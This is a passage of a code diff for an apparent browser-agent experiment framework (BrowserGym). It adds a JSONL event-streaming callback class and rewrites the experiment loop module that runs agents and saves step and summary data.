JsonlStreamCallback(AbstractCallback): + """Emits structured **newline-delimited JSON** (JSONL) lifecycle events to + any writable stream (file, stdout, a named pipe, or a network socket). + + This is the universal "glue" callback for custom web UIs and dashboards: + + * A **Streamlit** or **Gradio** app can tail the JSONL file and redraw + charts on every new line. + * A **WebSocket server** (e.g. FastAPI + ``websockets``) can read from the + stream and push events to a browser in real time. + * Any **CI dashboard** that understands structured logs can parse the output + without additional adapters. + + Every event is a JSON object with at minimum: + + .. code-block:: json + + {"event": "", "ts": 1234567890.123, ...fields} + + **No extra dependencies** — uses only Python's ``json`` and ``time`` stdlib. + + Typical usage (write to a file that a web app tails):: + + import sys + from browsergym.experiments.callbacks import JsonlStreamCallback + + # Stream to a file + with open("events.jsonl", "w") as f: + exp_args = ExpArgs( + agent_args=..., + env_args=..., + callbacks=[JsonlStreamCallback(stream=f)], + ) + exp_args.run() + + # Or stream to stdout for piping / CI logs + exp_args = ExpArgs( + ..., + callbacks=[JsonlStreamCallback(stream=sys.stdout)], + ) + + Args: + stream: Any writable file-like object. Defaults to ``sys.stdout``. + include_obs_keys: When provided, only these keys from + ``step_info.obs`` are included in the ``step_end`` event. Pass + ``[]`` to omit observation data entirely (default). Pass + ``["goal", "url"]`` to include just those fields. + flush: When ``True`` (default), calls ``stream.flush()`` after every + write so the consumer sees events immediately. + """ + + def __init__( + self, + stream=None, + include_obs_keys: Optional[list[str]] = None, + flush: bool = True, + ) -> None: + import sys + + self._stream = stream if stream is not None else sys.stdout + self._include_obs_keys: list[str] = include_obs_keys if include_obs_keys is not None else [] + self._flush = flush + + # ------------------------------------------------------------------ + # Internal helper + # ------------------------------------------------------------------ + + def _emit(self, event_name: str, payload: dict) -> None: + """Serialise *payload* as a JSONL line with event name and timestamp.""" + import json + + record = {"event": event_name, "ts": time.time(), **payload} + self._stream.write(json.dumps(record, default=str) + "\n") + if self._flush: + self._stream.flush() + + # ------------------------------------------------------------------ + # Lifecycle hooks + # ------------------------------------------------------------------ + + def on_exp_start(self, exp_args: "ExpArgs") -> None: + self._emit( + "exp_start", + { + "agent_name": getattr(exp_args.agent_args, "agent_name", None), + "task_name": exp_args.env_args.task_name, + "task_seed": getattr(exp_args.env_args, "task_seed", None), + "max_steps": exp_args.env_args.max_steps, + "exp_id": getattr(exp_args, "exp_id", None), + "exp_dir": str(getattr(exp_args, "exp_dir", "")), + }, + ) + + def on_step_start(self, step: int) -> None: + self._emit("step_start", {"step": step}) + + def on_action_selected(self, step: int, action: Optional[str], agent_info: dict) -> None: + # Only include serialisable scalar fields from agent_info to keep the + # JSONL compact. Complex objects (images, embeddings) are skipped. + safe_info = { + k: v + for k, v in agent_info.items() + if isinstance(v, (str, int, float, bool, type(None))) + } + self._emit( + "action_selected", + { + "step": step, + "action": action, + "agent_info": safe_info, + }, + ) + + def on_step_end(self, step_info: "StepInfo", is_done: bool) -> None: + payload: dict = { + "step": step_info.step, + "reward": step_info.reward, + "terminated": step_info.terminated, + "truncated": step_info.truncated, + "is_done": is_done, + "stats": step_info.stats, + } + + # Optionally include selective observation fields + if self._include_obs_keys and step_info.obs: + payload["obs"] = { + k: step_info.obs[k] + for k in self._include_obs_keys + if k in step_info.obs and isinstance(step_info.obs[k], (str, int, float, bool)) + } + + self._emit("step_end", payload) + + def on_exp_end(self, exp_dir, err_msg: Optional[str] = None) -> None: + self._emit( + "exp_end", + { + "exp_dir": str(exp_dir), + "success": err_msg is None, + "err_msg": err_msg, + }, + ) diff --git a/browsergym/experiments/src/browsergym/experiments/loop.py b/browsergym/experiments/src/browsergym/experiments/loop.py index cd960a2f8..0ebe4dba1 100644 --- a/browsergym/experiments/src/browsergym/experiments/loop.py +++ b/browsergym/experiments/src/browsergym/experiments/loop.py @@ -1,982 +1,996 @@ -import copy -import gzip -import importlib.metadata -import json -import logging -import os -import pickle -import re -import sys -import time -import traceback -import uuid -from abc import ABC, abstractmethod -from collections import defaultdict -from dataclasses import asdict, dataclass, field, is_dataclass -from datetime import datetime -from pathlib import Path -from typing import Optional - -from browsergym.core.env import BrowserEnv -import gymnasium as gym -import numpy as np -from dataclasses_json import DataClassJsonMixin -from PIL import Image -from tqdm import tqdm - -from browsergym.core.action.parsers import highlevel_action_parser -from browsergym.core.chat import Chat - -from .agent import Agent -from .utils import count_messages_token, count_tokens - -logger = logging.getLogger(__name__) - -SEED_MAX = 2 ^ 32 # arbitrary max value (exclusive), seems large enough - - -@dataclass -class EnvArgs(DataClassJsonMixin): - task_name: str - task_seed: Optional[int] = None - max_steps: Optional[int] = None - headless: bool = True - record_video: bool = False - wait_for_user_message: bool = False - viewport: Optional[dict] = None # use default value from BrowserGym - slow_mo: Optional[int] = None # use default value from BrowserGym - storage_state: Optional[str | Path | dict] = None - task_kwargs: Optional[dict] = None # use default value from BrowserGym - - def make_env( - self, action_mapping, exp_dir, exp_task_kwargs: dict = {}, use_raw_page_output=False - ) -> BrowserEnv: - """ - Instantiates the BrowserGym environment corresponding to the arguments (with some tweaks). - - Args: - action_mapping: overrides the action mapping of the environment. - exp_dir: will set some environment parameters (e.g., record_video_dir) with respect to the directory where the experiment is running. - exp_task_kwargs: use with caution! Will override task parameters to experiment-specific values. Useful to set different server configs for different experiments, or output file paths within the experiment's folder (e.g., assistantbench). - - Returns: - env: the gym environment. - """ - extra_kwargs = {} - if self.record_video: - extra_kwargs["record_video_dir"] = exp_dir - if self.viewport: - extra_kwargs["viewport"] = self.viewport - if self.slow_mo is not None: - extra_kwargs["slow_mo"] = self.slow_mo - if self.storage_state: - extra_kwargs["pw_context_kwargs"] = {"storage_state": self.storage_state} - if self.task_kwargs is not None: - extra_kwargs["task_kwargs"] = self.task_kwargs - if exp_task_kwargs: - extra_kwargs["task_kwargs"] = extra_kwargs.get("task_kwargs", {}) | exp_task_kwargs - - # assistantbench hack, write the task output (agent prediction) to a file in the experiment's directory - # TODO: find a better way to deal with this - if self.task_name.startswith("assistantbench.test"): - extra_kwargs["task_kwargs"] = extra_kwargs.get("task_kwargs", {}) | { - "output_file": exp_dir / "assistantbench-prediction.json" - } - - return gym.make( - _get_env_name(self.task_name), - disable_env_checker=True, - max_episode_steps=self.max_steps, - headless=self.headless, - wait_for_user_message=self.wait_for_user_message, - action_mapping=action_mapping, # action mapping is provided by the agent - use_raw_page_output=use_raw_page_output, - **extra_kwargs, - ) - - -@dataclass -class AbstractAgentArgs(ABC): - """A template class that defines the required signature of an agent's arguments.""" - - agent_name: str = None - - def __post_init__(self): - if self.agent_name is None: - self.agent_name = self.__class__.__name__ - - def prepare(self): - """Prepare the agent's LLM models before running the experiment.""" - pass - - def close(self): - """Close the agent's LLM models after running the experiment.""" - pass - - @abstractmethod - def make_agent(self) -> Agent: - """Comply the experiments.loop API for instantiating the agent.""" - - -def save_package_versions(exp_dir: Path): - """Save the versions of the installed packages in the experiment directory.""" - python_dists = "\n".join( - sorted( - [ - f'{dist.metadata["Name"]}=={dist.metadata["Version"]}' - for dist in importlib.metadata.distributions() - ] - ) - ) - (exp_dir / "package_versions.txt").write_text(python_dists) - - -@dataclass -class StepTimestamps: - env_start: float = 0 - action_exec_start: float = 0 # to extract begining of visual action from video - action_exec_stop: float = 0 # to extract end of visual action from video - action_exect_after_timeout: float = 0 - env_stop: float = 0 - agent_start: float = 0 - agent_stop: float = 0 - - -@dataclass -class StepInfo: - """Collects information about step that will be saved and reloaded. - Helper functions only modify the dataclass attributes and helps keeping the - information organized. - - Attributes: - ----------- - step: int - The step number of the episode. - obs: dict - The observation of the environment. - reward: float - The reward of the step. - raw_reward: float - The raw reward of the step. - terminated: bool - Whether the episode is terminated i.e. reached a terminal state. - truncated: bool - Whether the episode is truncated i.e. reached a maximum number of steps. - action: str - The action taken by the agent. - agent_info: dict - Additional information from the agent. - stats: dict - Extra statistics about the step. - profiling: StepTimestamps - Timestamps of the different events during the episode. - """ - - step: int = None - obs: dict = None - reward: float = 0 - raw_reward: float = 0 - terminated: bool = None - truncated: bool = None - action: str = None - agent_info: dict = field(default_factory=dict) - stats: dict = None - profiling: StepTimestamps = field(default_factory=StepTimestamps) - task_info: dict = None - - def from_step(self, env: gym.Env, action: str, obs_preprocessor: callable): - t = self.profiling - t.env_start = time.time() - self.obs, self.reward, self.terminated, self.truncated, env_info = env.step(action) - t.env_stop = time.time() - - self.task_info = env_info.get("task_info", None) - - self.raw_reward = env_info.get("RAW_REWARD_GLOBAL", None) - - t.action_exec_start = env_info["action_exec_start"] # start - t.action_exect_after_timeout = env_info["action_exec_stop"] - t.action_exec_stop = env_info["action_exec_stop"] - env_info["action_exec_timeout"] - - if obs_preprocessor: - self.obs = obs_preprocessor(self.obs) - - def from_action(self, agent: Agent): - self.profiling.agent_start = time.time() - self.action, self.agent_info = agent.get_action(self.obs.copy()) - self.profiling.agent_stop = time.time() - - self.make_stats() - - return self.action - - def from_reset(self, env: gym.Env, seed: int, obs_preprocessor: callable): - t = self.profiling - t.env_start = time.time() - self.obs, env_info = env.reset(seed=seed) - self.reward, self.terminated, self.truncated = 0, False, False - t.env_stop = time.time() - - t.action_exec_start = env_info.get("recording_start_time", t.env_start) - t.action_exect_after_timeout = t.env_stop - t.action_exec_stop = t.env_stop - - if obs_preprocessor: - self.obs = obs_preprocessor(self.obs) - - @property - def is_done(self): - return self.terminated or self.truncated - - def make_stats(self): - - stats = { - f"n_token_{key}": count_tokens(val) - for key, val in self.obs.items() - if isinstance(val, str) - } - stats.update(self.agent_info.pop("stats", {})) - - messages = self.agent_info.get("chat_messages", None) - if messages is not None: - stats["n_token_agent_messages"] = count_messages_token(messages) - - t = self.profiling - stats["step_elapsed"] = t.env_stop - t.env_start - stats["agent_elapsed"] = t.agent_stop - t.agent_start - - self.stats = stats - - def save_step_info(self, exp_dir, save_json=False, save_screenshot=True, save_som=False): - - # special treatment for some of the observation fields - if self.obs is not None: - # save screenshots to separate files - screenshot = self.obs.pop("screenshot", None) - screenshot_som = self.obs.pop("screenshot_som", None) - - if save_screenshot and screenshot is not None: - img = Image.fromarray(screenshot) - img.save(exp_dir / f"screenshot_step_{self.step}.png") - - if save_som and screenshot_som is not None: - img = Image.fromarray(screenshot_som) - img.save(exp_dir / f"screenshot_som_step_{self.step}.png") - - # save goal object (which might contain images) to a separate file to save space - if self.obs.get("goal_object", False): - # save the goal object only once (goal should never change once setup) - goal_object_file = Path(exp_dir) / "goal_object.pkl.gz" - if not goal_object_file.exists(): - with gzip.open(goal_object_file, "wb") as f: - pickle.dump(self.obs["goal_object"], f) - # set goal_object to a special placeholder value, which indicates it should be loaded from a separate file - self.obs["goal_object"] = None - - with gzip.open(exp_dir / f"step_{self.step}.pkl.gz", "wb") as f: - pickle.dump(self, f) - - if save_json: - with open(exp_dir / "steps_info.json", "w") as f: - json.dump(self, f, indent=4, cls=DataclassJSONEncoder) - - if self.obs is not None: - # add the screenshots back to the obs - # why do we need this? - if screenshot is not None: - self.obs["screenshot"] = screenshot - if screenshot_som is not None: - self.obs["screenshot_som"] = screenshot_som - - -@dataclass -class ExpArgs: - """Arguments to run an experiment, i.e. run agent in an environment until done. - - This dataclass is used to store experiments arguments. It contains - agent_args and env_args which follows the same principle. It contains helper - functions to prepare and run experiments. - - Attributes: - ----------- - agent_args: AbstractAgentArgs - The arguments to instantiate the agent. - env_args: EnvArgs - The arguments to instantiate the environment. - exp_dir: str - The directory where the experiment will be saved. - exp_name: str - The name of the experiment. If None, it will be generated from the - agent and environment names. - enable_debug: bool - If python is running in debug mode and `enable_debug` is True, errors - will be raised instead of only logged - error_msg: str - Error that occured while running the experiment (if any). - stack_trace: str - Stack trace of the error (if any). - order: int (internal) - The order of the experiment in the batch. It is used to keep track of - the original order of the experiments in case they are shuffled. - """ - - agent_args: AbstractAgentArgs - env_args: EnvArgs - exp_dir: str = None - exp_name: str = None - enable_debug: bool = True - err_msg: str = None - stack_trace: str = None - order: int = None # use to keep the original order the experiments were meant to be launched. - logging_level: int = logging.INFO - logging_level_stdout: int = logging.INFO - exp_id: str = None - depends_on: tuple[str] = () - save_screenshot: bool = True - save_som: bool = False - - def make_id(self): - """Create a unique id for the experiment.""" - if self.exp_id is None: - self.exp_id = str(uuid.uuid4()) - - def prepare(self, exp_root): - """Prepare the experiment directory and save the experiment arguments. - - This enables inspecting experiments that are not run yet. - """ - if self.env_args.task_seed is None: - self.env_args.task_seed = np.random.randint(0, SEED_MAX) - - if self.exp_name is None: - task_name = self.env_args.task_name - self.exp_name = f"{self.agent_args.agent_name}_on_{task_name}_{self.env_args.task_seed}" - - # if exp_dir exists, it means it's a re-run, move the old one - if self.exp_dir is not None: - _move_old_exp(self.exp_dir) - - self.make_id() - - self.exp_date = datetime.now() - self._make_dir(exp_root) - - self.exp_dir.mkdir(parents=True, exist_ok=True) - with open(self.exp_dir / "exp_args.pkl", "wb") as f: - pickle.dump(self, f) - - def _make_dir(self, exp_root): - """Create a unique directory for the experiment.""" - date_str = self.exp_date.strftime("%Y-%m-%d_%H-%M-%S") - exp_str = re.sub( - r"[\/:*?<>|]", "_", self.exp_name - ) # sanitize exp_name to be used as a file name (substitute forbidden characters) - - for i in range(1000): - if i >= 999: # make sure we don't loop forever - raise ValueError("Could not find a unique name for the experiment directory.") - - tag = f"_{i}" if i > 0 else "" - self.exp_dir = Path(exp_root) / f"{date_str}_{exp_str}{tag}" - if not self.exp_dir.exists(): - break - - # TODO distinguish between agent error and environment or system error. e.g. - # the parsing error of an action should not be re-run. - def run(self): - """Run the experiment and save the results""" - - # start writing logs to run logfile - self._set_logger() - - # log python environment info - save_package_versions(self.exp_dir) - - episode_info = [] - env, step_info, err_msg, stack_trace = None, None, None, None - try: - logger.info(f"Running experiment {self.exp_name} in:\n {self.exp_dir}") - agent = self.agent_args.make_agent() - logger.debug(f"Agent created.") - - env = self.env_args.make_env( - action_mapping=agent.action_set.to_python_code, - exp_dir=self.exp_dir, - ) - - logger.debug(f"Environment created.") - - step_info = StepInfo(step=0) - episode_info = [step_info] - step_info.from_reset( - env, seed=self.env_args.task_seed, obs_preprocessor=agent.obs_preprocessor - ) - logger.debug(f"Environment reset.") - - while not step_info.is_done: # set a limit - logger.debug(f"Starting step {step_info.step}.") - action = step_info.from_action(agent) - logger.debug(f"Agent chose action:\n {action}") - - if action is None: - # will end the episode after saving the step info. - step_info.truncated = True - - step_info.save_step_info( - self.exp_dir, save_screenshot=self.save_screenshot, save_som=self.save_som - ) - logger.debug(f"Step info saved.") - - _send_chat_info(env.unwrapped.chat, action, step_info.agent_info) - logger.debug(f"Chat info sent.") - - if action is None: - logger.debug(f"Agent returned None action. Ending episode.") - break - - step_info = StepInfo(step=step_info.step + 1) - episode_info.append(step_info) - - logger.debug(f"Sending action to environment.") - step_info.from_step(env, action, obs_preprocessor=agent.obs_preprocessor) - logger.debug(f"Environment stepped.") - - except Exception as e: - err_msg = f"Exception uncaught by agent or environment in task {self.env_args.task_name}.\n{type(e).__name__}:\n{e}" - stack_trace = traceback.format_exc() - - self.err_msg = err_msg - self.stack_trace = stack_trace - - logger.warning(err_msg + "\n" + stack_trace) - if _is_debugging() and self.enable_debug: - logger.warning("Debug mode is enabled. Raising the error.") - raise - - finally: - try: - if step_info is not None: - step_info.save_step_info( - self.exp_dir, save_screenshot=self.save_screenshot, save_som=self.save_som - ) - except Exception as e: - logger.error(f"Error while saving step info in the finally block: {e}") - try: - if ( - not err_msg - and len(episode_info) > 0 - and not (episode_info[-1].terminated or episode_info[-1].truncated) - ): - e = KeyboardInterrupt("Early termination??") - err_msg = f"Exception uncaught by agent or environment in task {self.env_args.task_name}.\n{type(e).__name__}:\n{e}" - logger.info(f"Saving summary info.") - self.save_summary_info(episode_info, self.exp_dir, err_msg, stack_trace) - except Exception as e: - logger.error(f"Error while saving summary info in the finally block: {e}") - try: - if env is not None: - env.close() - except Exception as e: - logger.error(f"Error while closing the environment in the finally block: {e}") - try: - self._unset_logger() # stop writing logs to run logfile - except Exception as e: - logger.error(f"Error while unsetting the logger in the finally block: {e}") - - def _set_logger(self): - # output logging traces to a log file - file_handler = logging.FileHandler(self.exp_dir / "experiment.log") - file_handler.setLevel(self.logging_level) # same level as console outputs - formatter = logging.Formatter( - "%(asctime)s - %(process)d - %(name)s - %(levelname)s - %(message)s" - ) - file_handler.setFormatter(formatter) - # output handler - stream_handler = logging.StreamHandler() - stream_handler.setLevel(self.logging_level_stdout) - stream_handler.setFormatter(formatter) - # setup root logger - root_logger = logging.getLogger() - - # remove previous stream handlers - for handler in root_logger.handlers: - if isinstance(handler, logging.StreamHandler): - root_logger.removeHandler(handler) - - root_logger.setLevel(self.logging_level) - root_logger.addHandler(file_handler) - root_logger.addHandler(stream_handler) - # setup openai logger (don't go below INFO verbosity) - openai_logger = logging.getLogger("openai._base_client") - openai_logger.setLevel(max(logging.INFO, self.logging_level)) - - self.logging_file_handler = file_handler - - def _unset_logger(self): - root_logger = logging.getLogger() - root_logger.removeHandler(self.logging_file_handler) - - def save_summary_info( - self, - episode_info: list[StepInfo], - exp_dir, - err_msg, - stack_trace, - ): - # bring err from agent_info to the top level - if err_msg is None: - err_msg, stack_trace = _extract_err_msg(episode_info) - else: - # useful until we get a proper place in agent_xray to view error - # messages. - if len(episode_info) == 0: - episode_info.append(StepInfo()) - episode_info[-1].agent_info["err_msg"] = err_msg - episode_info[-1].agent_info["stack_trace"] = stack_trace - - summary_info = dict( - n_steps=len(episode_info) - 1, - cum_reward=sum([step.reward for step in episode_info]), - cum_raw_reward=sum([step.raw_reward for step in episode_info if step.raw_reward]), - err_msg=err_msg, - stack_trace=stack_trace, - ) - for key, val in _aggregate_episode_stats(episode_info).items(): - summary_info[f"stats.{key}"] = val - - if len(episode_info) > 0: - summary_info["terminated"] = episode_info[-1].terminated - summary_info["truncated"] = episode_info[-1].truncated - - with open(exp_dir / "summary_info.json", "w") as f: - json.dump(summary_info, f, indent=4) - - -def _extract_err_msg(episode_info: list[StepInfo]): - """Extract the last error message from the episode info.""" - errors = [(None, None)] - for step_info in episode_info: - if step_info.agent_info is None: - continue - err_msg = step_info.agent_info.get("err_msg", None) - if err_msg is not None: - errors.append((err_msg, step_info.agent_info.get("stack_trace", None))) - - return errors[-1] - - -def _aggregate_episode_stats(episode_info: list[StepInfo]): - """Aggregate StepInfo.stats across episodes. - - It will compute the sum and max of each value in the stats dict. - These two summaries should cover many use cases. If more are needed, the - user can compute other stats by reloading individual StepInfo. - """ - - stats = defaultdict(list) - for step_info in episode_info: - if step_info.stats is not None: - for key, val in step_info.stats.items(): - if val is None: - val = np.nan - stats[key].append(val) - - aggregated_stats = {"cum_steps": len(episode_info)} # to be able to compute the mean - for key, val_list in stats.items(): - aggregated_stats[f"cum_{key}"] = np.nansum(val_list) - aggregated_stats[f"max_{key}"] = np.nanmax(val_list) - - for key, val in aggregated_stats.items(): - if isinstance(val, np.generic): - aggregated_stats[key] = val.item() - if np.isnan(val): - aggregated_stats[key] = None - return aggregated_stats - - -def _is_debugging(): - """Tells you if your code is currently running in debug mode.""" - return sys.gettrace() is not None - - -class ExpResult: - """Helper class to load and visualize the results of an experiment. - - attributes are loaded lazily. - - Attributes (lazily loaded): - exp_args: ExpArgs, the arguments of the experiment. - steps_info: list[StepInfo], the information of each steps so far - summary_info: dict, the summary of the experiment. - screenshots: list[Image], the screenshots of each step. - screenshots_som: list[Image], the screenshots of each step with set of - marks inprinted. - flat_exp_args: dict, the flattened version of exp_args. - chat_video_path: Path, the path to the chat video. (if record_video=True) - task_video_path: Path, the path to the task video. (if record_video=True) - combined_video_path: Path, the path to the combined video. (if video was - combined) - """ - - def __init__(self, exp_dir) -> None: - self.exp_dir = Path(exp_dir) - self._exp_args = None - self._steps_info = {} - self._summary_info = None - self._screenshots = {} - self._flat_exp_args = None - self._logs = None - - @property - def exp_args(self) -> ExpArgs: - if self._exp_args is None: - with open(self.exp_dir / "exp_args.pkl", "rb") as f: - self._exp_args = pickle.load(f) - # in case experiments were moved - self._exp_args.exp_dir = self.exp_dir - return self._exp_args - - def get_step_info(self, step: int) -> StepInfo: - """Load the step info from the file and return it.""" - if self._steps_info.get(step, None) is None: - with gzip.open(self.exp_dir / f"step_{step}.pkl.gz", "rb") as f: - self._steps_info[step] = pickle.load(f) - if self._steps_info[step].obs: - if "screenshot" not in self._steps_info[step].obs: - try: - self._steps_info[step].obs["screenshot"] = np.array( - self.get_screenshot(step), dtype=np.uint8 - ) - except FileNotFoundError: - pass - if "screenshot_som" not in self._steps_info[step].obs: - try: - self._steps_info[step].obs["screenshot_som"] = np.array( - self.get_screenshot(step, som=True), dtype=np.uint8 - ) - except FileNotFoundError: - pass - # if goal_object is set to None, it indicates it has been saved into a separate file - if ( - "goal_object" in self._steps_info[step].obs - and self._steps_info[step].obs["goal_object"] is None - ): - with gzip.open(self.exp_dir / "goal_object.pkl.gz", "rb") as f: - goal_object = pickle.load(f) - self._steps_info[step].obs["goal_object"] = goal_object - - return self._steps_info[step] - - @property - def steps_info(self) -> list[StepInfo]: - step_files = list(self.exp_dir.glob("step_*.pkl.gz")) - for file in step_files: - step = int(file.name.split("_")[-1].split(".")[0]) - self.get_step_info(step) - - return [self._steps_info[i] for i in range(len(self._steps_info))] - - @property - def summary_info(self) -> dict: - if self._summary_info is None: - with open(self.exp_dir / "summary_info.json", "r") as f: - # if length is zero raise file not found error - if os.fstat(f.fileno()).st_size == 0: - raise FileNotFoundError(f"summary_info.json is empty.") - self._summary_info = json.load(f) - return self._summary_info - - @property - def tape(self) -> dict: - """ - TapeAgents (https://github.com/ServiceNow/TapeAgents) framework compatibility. - Exports experiment trace in the format of serialized tape. - Reuses tape segments if they were already placed in the agent_info during the experiment. - - :returns: dict: serialized tape of the experiment - """ - steps = [] - for step_info in self.steps_info: - if "tape_segment" in step_info.agent_info["extra_info"]: - tape_segment = step_info.agent_info["extra_info"]["tape_segment"] - else: - tape_segment = self._create_tape_segment(step_info) - steps += tape_segment - metadata = dict( - id=str(uuid.uuid4()), - author=f"browsergym_agent_[{self.exp_args.agent_args.agent_name}]", - result=self.get_exp_record(), - ) - return dict(steps=steps, metadata=metadata) - - def _create_tape_segment(self, step_info: StepInfo) -> list[dict]: - tape_segment = [] - # extract observation step - if step_info.obs is not None: - screenshot: str = "" - screenshot_som: str = "" - obs_dict = copy.deepcopy(step_info.obs) - if "screenshot" in obs_dict: - screenshot = str(self.exp_dir / f"screenshot_step_{step_info.step}.png") - obs_dict.pop("screenshot") - if "screenshot_som" in obs_dict: - screenshot_som = str(self.exp_dir / f"screenshot_som_step_{step_info.step}.png") - obs_dict.pop("screenshot_som") - tape_segment.append( - dict( - kind="browsergym_observation", - metadata=dict(step=step_info.step), - obs=obs_dict, - screenshot=screenshot, - screenshot_som=screenshot_som, - ) - ) - - # extract thought step - think = step_info.agent_info.get("think", "") - if think: - tape_segment.append( - dict(kind="browsergym_thought", metadata={"step": step_info.step}, text=think) - ) - - # extract action steps - function_calls = highlevel_action_parser.parse_string(step_info.action, parse_all=True) - for name, arguments in function_calls: - tape_segment.append( - dict( - kind="browsergym_action", - metadata=dict( - step=step_info.step, - reward=step_info.reward, - raw_reward=step_info.raw_reward, - terminated=step_info.terminated, - truncated=step_info.truncated, - agent_info=step_info.agent_info, - stats=step_info.stats, - task_info=step_info.task_info, - ), - name=name, - arguments=arguments, - ) - ) - return tape_segment - - def save_tape(self, filename: str = "tape.json"): - if os.path.exists(self.exp_dir / filename): - raise FileExistsError(f"{filename} already exists in {self.exp_dir}") - with open(self.exp_dir / filename, "w") as f: - json.dump(self.tape, f, indent=4, ensure_ascii=False) - - def get_screenshot(self, step: int, som=False) -> Image: - key = (step, som) - if self._screenshots.get(key, None) is None: - file_name = f"screenshot_{'som_' if som else ''}step_{step}" - try: - with Image.open(self.exp_dir / (file_name + ".png")) as img: - self._screenshots[key] = img.copy() - except FileNotFoundError: - with Image.open(self.exp_dir / (file_name + ".jpg")) as img: - self._screenshots[key] = img.copy() - return self._screenshots[key] - - def get_screenshots(self, som=False): - files = list(self.exp_dir.glob("screenshot_step_*")) - max_step = 0 - for file in files: - step = int(file.name.split("_")[-1].split(".")[0]) - self.get_screenshot(step, som=som) - max_step = max(max_step, step) - return [self._screenshots.get((i, som), None) for i in range(max_step + 1)] - - @property - def screenshots(self): - return self.get_screenshots(som=False) - - @property - def screenshots_som(self): - return self.get_screenshots(som=True) - - @property - def flat_exp_args(self) -> dict: - """Return a dict with exp_args flattened.""" - if self._flat_exp_args is None: - exp_args = asdict(self.exp_args) - # this will flatten nested dicts - self._flat_exp_args = _flatten_dict(exp_args) - return self._flat_exp_args - - def get_exp_record(self) -> dict: - """Return a dict with exp_args flattened and summary_info.""" - record = {"exp_dir": self.exp_dir} - try: - record.update(self.flat_exp_args) - except FileNotFoundError: - pass - try: - record.update(self.summary_info) - except FileNotFoundError: - pass - return record - - @property - def chat_video_path(self) -> Path: - try: - return next(self.exp_dir.glob("chat_video/*.webm")) - except StopIteration: - raise FileNotFoundError(f"No chat_video found in {self.exp_dir}") - - @property - def task_video_path(self) -> Path: - try: - return next(self.exp_dir.glob("task_video/*.webm")) - except StopIteration: - raise FileNotFoundError(f"No task_video found in {self.exp_dir}") - - @property - def combined_video_path(self) -> Path: - return self.exp_dir / "combined_video.mp4" - - @property - def logs(self): - if self._logs is None: - self._logs = (self.exp_dir / "experiment.log").read_text() - return self._logs - - @property - def status(self): - """Return one of the following status: - * "done": completed with no error - * "error": completed with error - * "incomplete": not completed yet (may be pending or just stalled) - """ - try: - summary_info = self.summary_info - except FileNotFoundError: - return "incomplete" - - if summary_info.get("err_msg", None) is not None: - return "error" - - if summary_info.get("terminated", False) or summary_info.get("truncated", False): - return "done" - - return "incomplete" - - -EXP_RESULT_CACHE = {} - - -def get_exp_result(exp_dir) -> ExpResult: - """Keep a cache of pre-loaded exp_results for faster loading""" - exp_dir = str(exp_dir) # make sure it's not a Path - exp_result = EXP_RESULT_CACHE.get(exp_dir, None) - if exp_result is None: - exp_result = ExpResult(exp_dir) - EXP_RESULT_CACHE[exp_dir] = exp_result - return exp_result - - -def yield_all_exp_results( - savedir_base: str | Path, progress_fn=tqdm, load_hidden=False, use_cache=True -): - """Recursively find all experiments from savedir_base folder. - - This will ignore all experiments that start with "_" or ".". use - `load_hidden=True` to load them anyway. - """ - - if not isinstance(savedir_base, list): - savedir_base = [savedir_base] - - exp_args_paths = [] - for exp_dir in savedir_base: - exp_args_paths.extend(list(Path(exp_dir).glob("**/exp_args.pkl"))) - - if progress_fn is not None: - exp_args_paths = progress_fn(exp_args_paths, desc="Searching experiments directories.") - - for exp_args_path in exp_args_paths: - exp_dir = exp_args_path.parent - if not load_hidden: - if exp_dir.name.startswith("_") or exp_dir.name.startswith("."): - continue - if use_cache: - yield get_exp_result(exp_dir) - else: - yield ExpResult(exp_dir) - - -class DataclassJSONEncoder(json.JSONEncoder): - def default(self, obj): - if is_dataclass(obj): - return asdict(obj) - if isinstance(obj, np.integer): - return int(obj) - if isinstance(obj, np.floating): - return float(obj) - if isinstance(obj, np.ndarray): - return obj.tolist() - return super().default(obj) - - -def _move_old_exp(exp_dir): - """Move the old experiment directory to a new name.""" - exp_dir = Path(exp_dir) - if exp_dir.exists(): - exp_dir.rename(exp_dir.with_name("_" + exp_dir.name)) - - -def _get_env_name(task_name: str): - """Register tasks if needed (lazy import) and return environment name.""" - - # lazy benchmark import - if task_name.startswith("miniwob"): - import browsergym.miniwob - elif task_name.startswith("workarena"): - import browsergym.workarena - elif task_name.startswith("webarena"): - import browsergym.webarena - import browsergym.webarenalite - import browsergym.webarena_verified - elif task_name.startswith("visualwebarena"): - import browsergym.visualwebarena - elif task_name.startswith("assistantbench"): - import browsergym.assistantbench - elif task_name.startswith("weblinx"): - import weblinx_browsergym - elif task_name.startswith("timewarp"): - import browsergym.timewarp - elif task_name.startswith("knows"): - import browsergym.knows - - return f"browsergym/{task_name}" - - -def _send_chat_info(chat: Chat, action: str, agent_info: dict): - """Send the think and action info to the chat.""" - msg = "" - if "think" in agent_info: - msg += f"""\ -{agent_info["think"]} - -""" - - msg += f"""\ -action: -{action} -""" - - logger.info(msg) - chat.add_message(role="info", msg=msg) - - -def _flatten_dict(d, parent_key="", sep="."): - """Recursively flatten a nested dictionary.""" - items = [] - for k, v in d.items(): - new_key = parent_key + sep + k if parent_key else k - if isinstance(v, dict): - items.extend(_flatten_dict(v, new_key, sep).items()) - else: - items.append((new_key, v)) - return dict(items) +import copy +import gzip +import importlib.metadata +import json +import logging +import os +import pickle +import re +import sys +import time +import traceback +import uuid +from abc import ABC, abstractmethod +from collections import defaultdict +from dataclasses import asdict, dataclass, field, is_dataclass +from datetime import datetime +from pathlib import Path +from typing import Optional + +from browsergym.core.env import BrowserEnv +import gymnasium as gym +import numpy as np +from dataclasses_json import DataClassJsonMixin +from PIL import Image +from tqdm import tqdm + +from browsergym.core.action.parsers import highlevel_action_parser +from browsergym.core.chat import Chat + +from .agent import Agent +from .callbacks import AbstractCallback, CallbackList +from .utils import count_messages_token, count_tokens + +logger = logging.getLogger(__name__) + +SEED_MAX = 2 ^ 32 # arbitrary max value (exclusive), seems large enough + + +@dataclass +class EnvArgs(DataClassJsonMixin): + task_name: str + task_seed: Optional[int] = None + max_steps: Optional[int] = None + headless: bool = True + record_video: bool = False + wait_for_user_message: bool = False + viewport: Optional[dict] = None # use default value from BrowserGym + slow_mo: Optional[int] = None # use default value from BrowserGym + storage_state: Optional[str | Path | dict] = None + task_kwargs: Optional[dict] = None # use default value from BrowserGym + + def make_env( + self, action_mapping, exp_dir, exp_task_kwargs: dict = {}, use_raw_page_output=False + ) -> BrowserEnv: + """ + Instantiates the BrowserGym environment corresponding to the arguments (with some tweaks). + + Args: + action_mapping: overrides the action mapping of the environment. + exp_dir: will set some environment parameters (e.g., 